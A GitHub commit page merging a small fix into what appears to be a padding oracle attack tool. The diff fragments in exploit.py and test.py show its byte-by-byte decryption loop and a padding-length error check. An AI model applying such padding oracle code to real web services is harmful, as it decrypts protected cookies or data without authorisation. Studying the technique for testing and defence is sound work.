Skip to content

Commit 015c6d7

Browse files
authored
Merge pull request #1 from JulesDT/master
Fixed in case of a 16 bytes padding
2 parents 06d2c5b + 3792244 commit 015c6d7

File tree

2 files changed

+7
-8
lines changed

2 files changed

+7
-8
lines changed

exploit.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,7 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
9191
# test each byte max 255
9292
for ct_pos in range(0,256):
9393
# 1 xor 1 = 0 or valide padding need to be checked
94-
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos):
94+
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[-1],16) == ct_pos):
9595

9696
bk = block_search_byte(size_block, i, ct_pos, valide_value)
9797
bp = cipher_block[block-1]
@@ -133,8 +133,8 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
133133
print ''
134134

135135
bytes_found = ''.join(valide_value)
136-
if i == 0 and bytes_found.decode("hex") > hex(size_block):
137-
print "[-] Error decryption failed the padding is > 16"
136+
if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1:
137+
print "[-] Error decryption failed the padding is > "+str(size_block)
138138
sys.exit()
139139

140140
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found

test.py

+4-5
Original file line numberDiff line numberDiff line change
@@ -106,8 +106,7 @@ def run(cipher,size_block):
106106
# test each byte max 255
107107
for ct_pos in range(0,256):
108108
# 1 xor 1 = 0 or valide padding need to be checked
109-
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos):
110-
109+
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[-1],16) == ct_pos):
111110
bk = block_search_byte(size_block, i, ct_pos, valide_value)
112111
bp = cipher_block[block-1]
113112
bc = block_padding(size_block, i)
@@ -146,14 +145,14 @@ def run(cipher,size_block):
146145
print ''
147146

148147
bytes_found = ''.join(valide_value)
149-
if i == 0 and bytes_found.decode("hex") > hex(size_block):
150-
print "[-] Error decryption failed the padding is > 16"
148+
if i == 0 and bytes_found.decode("hex") > hex(size_block) and block == len(cipher_block)-1:
149+
print "[-] Error decryption failed the padding is > "+str(size_block)
151150
sys.exit()
152151

153152
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
154153
print ''
155154

156-
break
155+
break
157156
if found == False:
158157
print "\n[-] Error decryption failed"
159158
result.insert(0, ''.join(valide_value))

0 commit comments

Comments
 (0)